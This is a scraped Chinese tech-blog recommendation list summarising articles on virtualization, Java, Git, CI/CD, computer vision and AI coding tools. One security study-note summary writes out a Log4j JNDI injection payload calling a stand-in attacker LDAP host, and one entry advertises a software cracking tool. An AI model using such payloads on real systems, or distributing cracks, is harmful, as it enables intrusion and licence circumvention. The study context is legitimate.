相关推荐
从零搭建openEuler ARM64开发测试环境:手把手教你用libvirt+KVM配置虚拟机(含VNC远程安装)
本文详细介绍了如何在ARM64平台上从零搭建openEuler开发测试环境,涵盖libvirt和KVM配置虚拟机的完整流程,包括环境准备、存储配置、网络优化、XML配置详解以及VNC远程安装。特别针对华为欧拉(openEuler)系统进行了优化,帮助开发者快速构建高效的ARM架构虚拟化环境。
Flink 学习日志 03:自定义一个SourceFunction,完成对Redis中数据的读取
本文介绍了在Flink中自定义SourceFunction读取Redis数据的完整流程:通过Jedis客户端连接WSL2中的Redis服务,编写RedisSource实现循环读取所有Key-value并逐条输出,结合Thread.sleep()实现每秒一条的流式效果。关键步骤包括环境准备、添加Jedis依赖、配置IDEA运行时加载provided依赖,并注意生产环境中应避免使用阻塞的keys *,改用scan命令。最终实现动态读取、实时打印,验证了Flink与Redis的数据集成能力。
Halcon实战:5分钟搞定线序颜色检测(附完整代码解析)
本文详细介绍了如何使用Halcon在5分钟内实现工业级线序颜色检测的高效方案。通过机器视觉技术,结合实战项目经验,提供完整的代码解析和优化技巧,帮助开发者快速构建鲁棒性强、准确率高的检测系统,适用于电子制造和汽车线束等行业。
自建AI智能体平台怎么选?主流开发工具对比与适用场景分析
选型这件事,最终要回到一个朴素的问题:Agent 上线后,能不能稳定产生可衡量的业务价值。把 Agent 在生产环境里持续完成数据采集、分析、决策、执行当作落点,比纠结单一功能更重要。因此要先确认场景、团队和数据现状:轻量验证用低代码工具,深度定制用开发者框架,规模化运营看成熟平台。无论最终选择 ThinkingAI 这类平台,还是 Dify、扣子 Coze、LangChain 这些工具,选型的落点都应是把试点顺利推进到规模化,避免停留在演示阶段。
射频收发机(RF Transceiver)
2,既然原来外差的思路是把声音频率的信号,通过混频搬移到高频电磁波频率,那对高频率信号放大的时候,是不是也可以先在比较低的射频频率进行放大,然后再通过频率搬移的方式,将放大后的信号搬移到高频率呢?频率搬移过程中,中间预先设定的固定射频频率被称为“中频”(中间频率,IF,Intermediate Frequency),由于这个频率超出了声音可听的范围,是“超声波”(supersonic),所以被命名为“超外差”(Super-Heterodyne)。混频后的信号在0频率附近,可能会发生DC偏移。
【大数据Java基础-Java基础01】环境搭建(一)Sublime Text3搭建Java编译环境(Windows系统)
1. 首先配置好Java环境变量 我的jdk版本是1.8.0_191,存放目录是C:\Program Files\Java,因此添加以下环境变量 (1)系统变量→新建 JAVA_HOME 变量,变量值为: C:\Program Files\Java\jdk1.8.0_191 (2)系统变量→找到 Path 变量→编辑,末尾加入: ;%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin 如果Path变量末尾本身有“;”,则上述路径前面则不需要加“;” (3)系统变量→新建 CL
从0到打通CICD!SpringBoot+GitLab+Jenkins+Docker完整实验
开源Java编写CI/CD工具;依靠插件扩展能力。核心概念:Job任务、Pipeline流水线、Agent执行节点、Artifact构建产物、Plugin插件。Pipeline阶段:拉取代码 → 编译构建 → 单元测试 → 代码质量扫描 → 打包制品 → 部署测试环境 → 部署生产。IDEA提交代码不要提交.idea目录,会产生冲突。Docker daemon.json不能存在非法url,否则docker启动失败。
rk3576 适配摄像头 (mipi 双摄)
RK3576 自带两个 4-Lane DPHY 和一个 DCPHY CSI 接口,可以连接 4lane 的双摄像头,最直接的方式就是充分利用其两个 D-PHY 接口。次选方案是 DCPHY + DPHY方案,更次之方案是单DPHY,设置成分离模式,连接两颗摄像头。
OpenCV学习(一)
本文介绍了OpenCV的基本概念与应用,通过简单代码演示图像灰度转换与人脸检测,展现其“简化复杂视觉任务”的核心优势。OpenCV是开源、跨平台、多语言支持的计算机视觉库,广泛应用于人脸识别、车牌识别、工业检测等领域。文章详细指导了在Windows系统下使用Python 3.12搭建OpenCV开发环境的步骤,包括Python安装、环境变量配置及验证方法,为初学者提供清晰的入门路径。
STM32步进电机控制三大方案:GPIO/定时器/PWM深度对比
步进电机控制是嵌入式运动控制的基础技术,其核心在于精确生成脉冲(PUL)、方向(DIR)和使能(EN)三路数字信号。原理上,脉冲频率决定转速,脉冲数量决定位置,方向电平决定转向,而使能时序保障驱动器可靠启停。该技术具有高定位精度、开环稳定性与低成本优势,广泛应用于3D打印机、CNC设备、自动化产线等场景。在STM32平台实现时,需兼顾硬件隔离设计(如6N137光耦)、HAL库抽象封装及实时性约束。本文围绕GPIO模拟、定时器中断与PWM比较输出三种主流方法,系统剖析其时序机制、CPU开销、抗干扰能力与工业适
【Claude】权限被拒绝 (Permission Denied) 全场景排查 — 已解决
权限配置是 Claude Code 安全使用的核心机制。通过合理的 allow/deny 规则、正确的通配符使用、子代理独立配置、定期安全审计,可以在保证安全性的同时不影响开发效率。deny 优先:deny 规则优先级高于 allow,先保护敏感资源通配符精确单层匹配,**递归匹配,Bash(cmd*)允许带参数最小权限:只允许必要的操作,避免Bash(*)等危险规则CI 用 skip:Headless 模式用避免挂起子代理独立:每个子代理单独配置权限,不自动继承保护密钥:deny.env。
pycharm如何运行python代码
在PyCharm中运行Python代码的主要步骤包括:安装PyCharm、创建项目、编写Python代码、配置运行环境、执行代码。 首先
YOLOv13改进策略【损失函数篇】| 2024 引进Focaler-IoU损失函数 加强边界框回归 (Focaler-DIoU、Focaler-GIoU、Focaler-CIoU)
本文记录的是改进YOLOv13的损失函数,将其替换成。现有研究通过利用边界框之间的几何关系来提高回归性能,但忽略了困难样本和简单样本分布对边界框回归的影响。不同检测任务中困难样本和简单样本的分布不同,对于简单样本占主导的检测任务,关注简单样本的边界框回归有助于提高检测性能;对于困难样本比例较高的检测任务,需要关注困难样本的边界框回归。,提高检测器在不同检测任务中的性能。实现的。
Java 全栈知识体系:从 IDEA 高效开发到 JVM、并发与 Stream 实战
本文构建了一套系统化的Java知识体系,涵盖开发环境配置、语言基础到企业级核心技能,强调“知其然更知其所以然”。通过“是什么→为什么→怎么用→常见坑”的结构,帮助开发者串联零散知识点,突破“学过但串不起来”的瓶颈。内容基于JDK 17,兼顾新特性与兼容性,适合初学者打基础、有经验者查漏补缺及面试冲刺,配套高效IDEA实践技巧与避坑指南,全面提升实战能力。
IDEA的使用指南
IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.
假人有限元模型
假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用
Pycharm使用免费的Agent助手QoderCN
本文手把手教程带你零成本在 PyCharm 中安装并使用 Qoder CN(原通义灵码)——阿里云推出的智能编码助手。支持多国产大模型自由切换(如 Qwen、DeepSeek、GLM 等),具备 Agentic 编码能力,可自动拆解任务、读写文件、执行命令。通过插件市场一键安装,登录后即可使用行间补全、会话提问及复杂工程任务自动化。免费额度覆盖日常开发,无需切换工具,真正实现高效智能编程。
Devexpress16.2.6破解工具
Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具
【AI编程】使用笔记:修复vscode中codex插件加载失败 Codex could not start
适用于打开 Codex 侧栏后显示,并在日志中确认界面就绪超时的情况。本文将等待时间从延长到。这是针对特定插件版本的临时修改,该版本把时限写在插件程序里,VS Code 的和 Codex 的都没有对应设置项。
廖雪峰Python教程[完整版]
廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白
Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入
本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶
纯静态HTML项目文件打包成war包
纯静态HTML项目文件打包成war包
IDEA 简介:从零认识 IntelliJ IDEA
IDEA 全称,是由 JetBrains 公司开发的一款主流 Java 集成开发环境(IDE)。它集代码编辑、编译、调试、测试、版本控制、构建管理等功能于一体,被大量 Java 开发者视为日常开发的首选工具。所谓 IDE(Integrated Development Environment,集成开发环境),就是把写代码所需的各类工具整合到同一个界面中。相比只用文本编辑器加命令行编译,IDE 能显著减少重复操作,让开发者把精力集中在业务逻辑上。
哪些国产单片机厂家提供FAE技术支持?英锐恩等对比
大厂FAE资源通常优先服务大客户,中小批量项目往往只能找代理商或看论坛。如果你需要,推荐:收到请求当日或次日回复,必要项目24小时内工程师到场,还能组织芯片研发工程师一起评审问题。生态成熟、资料丰富;通过代理商体系提供支持。
【无标题】
mount ip(server):/pub /mnt——挂载。文件系统:明确了一个存储设备,组织文件的方法和数据结构类型。netstat -tunlp----显示端口监听。-o 挂载参数 remount,(ro/rw)一个格式化的U盘 D:iso。mount -t指定虚拟。
零基础学 AI 智能体项目开发:基于规则决策 + 能力训练 + 通信交互 + 执行落地
本书以“实操”为导向,以“最少必要知识”为原则,既系统讲解了人工智能(AI)的核心技术,又以易于理解的“智慧消防”为案例贯穿全书始终,兼顾理论框架的完整性与实操落地的可行性,让读者既能夯实 AI 基础知识,又能快速动手构建实用的智能体。无论读者是想转型 AI 相关领域的初学者,还是想快速实现智能体项目落地的相关行业从业者,本书都能提供清晰的学习路径与实用的技术支持,是零基础读者进入智能体领域的优选入门指南。
【Git】从入门到精通(十三)—— .gitignore:忽略不需要追踪的文件
.gitignore是项目管理中不可或缺的配置文件,用于排除编译产物、依赖目录、日志、密钥等不应纳入版本控制的文件,防止仓库臃肿与安全泄露。其语法包括通配符*、**跨目录匹配、!取反规则及路径前缀/,支持全局忽略(core.excludesfile)与局部覆盖。关键点:.gitignore仅对未追踪文件生效,已提交文件需用git rm --cached移除追踪。推荐以GitHub官方模板为基础,结合项目实际定制,并配合git check-ignore -v排查问题。保持.gitignore提交共享,确保团队
Gerrit(git)的使用
Gerrit 是一套基于 Git 的代码评审工具,多用于企业内部代码托管、代码评审,和普通Git仓库最大区别:不允许直接合并提交,必须经过评审。Remote:远程Gerrit仓库地址Change:Gerrit上的评审单(提交记录)Ref:Gerrit特殊引用,评审补丁存在下Rebase:变基,Gerrit推荐方式,保证提交线线性,避免merge合并提交Stash:暂存本地未提交代码,拉新版本前保护本地改动。
用Rust重写IntelliJ IDEA:169MB替代2GB,0.9秒打开项目的开源IDE
IntelliJ IDEA虽强大却臃肿,启动慢、占内存。开源项目OpenIDEA用Rust重写,保留熟悉快捷键与工作流,体积仅169MB,0.9秒启动。基于LSP支持60+语言,结合Tauri实现轻量跨平台界面。虽暂不替代IntelliJ的Java深度与插件生态,但为多语言开发者提供高效轻量选择,展现Rust+Web技术构建桌面应用的新范式。
2026年11月第一周AI开发工具观察:Agent的竞争,已经从“生成”转向“调度”与“执行”
同期开放的 Decisions API 则给Agent装上了“快速判断”能力:基于GPT-6 Luna,开发者可以输入文本、图像或结构化数据,让AI在预设问题和选项之间快速作出决策,处理速度约为传统Responses API的10倍,单次请求支持的问题数也从200个提升到400个。11月2日,OpenAI方面透露,Dots将不再用单一模型跑完整任务,而是把一项任务拆成几段,在不同步骤调用不同模型:执行类步骤交给速度更快、成本更低的Terra,烧脑的核心环节留给旗舰Astra。在API中最高提升至6倍。
586



被折叠的 条评论
为什么被折叠?



